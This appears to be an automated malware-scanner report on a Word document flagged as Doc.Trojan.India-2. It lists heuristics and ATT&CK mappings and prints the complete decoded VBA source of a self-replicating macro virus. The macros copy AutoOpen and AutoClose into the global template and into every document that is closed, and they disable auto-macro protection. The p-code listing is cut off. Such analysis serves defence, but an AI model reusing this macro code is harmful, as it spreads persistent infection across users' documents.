MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing VBA macros, specifically triggering AutoOpen and AutoClose events. The macros display messages like 'Ravi Good Bye' and 'I Love India', and importantly, copy themselves to the global template as 'AutoClose' and 'AutoOpen'. This action suggests an attempt to establish persistence by ensuring the macros execute whenever documents are opened or closed.
Heuristics 5
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ClamAV: Doc.Trojan.India-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.India-2
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4807 bytes |
SHA-256: 806ff79fb1006ad3c7c7b17cefea8f038caa1cfcded03a20d530b1b8b6d7d5f8 |
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Detection
ClamAV:
Doc.Trojan.India-2
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoClose"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Installed to your NORMAL template as AutoClose to clean the prank macros from any documents that you open then close."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
Dim sMe$
Dim sMacro$
WordBasic.MsgBox "Ravi Good Bye", "I Love India"
WordBasic.MsgBox WordBasic.[MacroFileName$]()
WordBasic.DisableAutoMacros 0
On Error GoTo -1: On Error GoTo Abort
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
'dlg.Password = "India"
'dlg.WritePassword = "India"
'FileSaveAs dlg
'--------------------------------------------------------
sMe$ = WordBasic.[FileName$]()
sMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy "Global:AutoClose", sMacro$
sMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoOpen", sMacro$
WordBasic.FileSaveAs dlg
Abort:
End Sub
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim sMe$
Dim sMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.MsgBox "Ravi, Have a nice day", "I Love India"
WordBasic.MsgBox WordBasic.[MacroFileName$]()
sMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy sMacro$, "Global:AutoClose"
sMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy sMacro$, "Global:AutoOpen"
End Sub
' Processing file: /opt/analyzer/scan_staging/da625f1e325149d48548c436cdc89b41.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 2971 bytes
' Line #0:
' Line #1:
' Line #2:
' FuncDefn (Public Sub MAIN())
' Line #3:
' Dim
' VarDefn sMe
' Line #4:
' Dim
' VarDefn sMacro
' Line #5:
' LitStr 0x000D "Ravi Good Bye"
' LitStr 0x000C "I Love India"
' Ld WordBasic
' ArgsMemCall MsgBox 0x0002
' Line #6:
' Ld WordBasic
' ArgsMemLd [MacroFileName$] 0x0000
' Ld WordBasic
' ArgsMemCall MsgBox 0x0001
' Line #7:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #8:
' OnError <crash>
' BoS 0x0000
' OnError Abort
' Line #9:
' Line #10:
' Dim
' VarDefn dlg (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileSaveAs 0x0001
' Set dlg
' Line #11:
' Ld dlg
' Ld WordBasic
' MemLd CurValues
' ArgsMemCall FileSaveAs 0x0001
' Line #12:
' Line #13:
' Ld dlg
' MemLd Format$
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' Ld dlg
' MemSt Format$
' EndIf
' Line #14:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St sMe$
' Line #15:
' QuoteRem 0x0000 0x0016 "dlg.Password = "India""
' Line #16:
' QuoteRem 0x0000 0x001B "dlg.WritePassword = "India""
' Line #17:
' QuoteRem 0x0000 0x000E "FileSaveAs dlg"
' Line #18:
' QuoteRem 0x0000 0x0038 "--------------------------------------------------------"
' Line #19:
' Line #20:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St sMe$
' Line #21:
' Ld sMe$
' LitStr 0x000A ":AutoClose"
' Add
' St sMacro$
' Line #22:
' LitStr 0x0010 "Global:AutoClose"
' Ld sMacro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #23:
' Ld sMe$
' LitStr 0x0009 ":AutoOpen"
' Add
' St sMacro$
' Line #24:
' LitStr 0x000F "Global:AutoOpen"
' Ld sMacro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #25:
' Ld dlg
' Ld WordBasic
' ArgsMemCall FileSaveAs 0x0001
' Line #26:
' Line #27:
' Label Abort
' Line #28:
' EndSub
' Macros/VBA/AutoOpen - 1451 bytes
' Line #0:
' Line #1:
' Line #2:
' FuncDefn (Public Sub MAIN())
' Line #3:
' Dim
' VarDefn sMe
' Line #4:
' Dim
' VarDefn sMacro
' Line #5:
' Line #6:
' Ld WordBasic
' ArgsMemLd [F
... (truncated)
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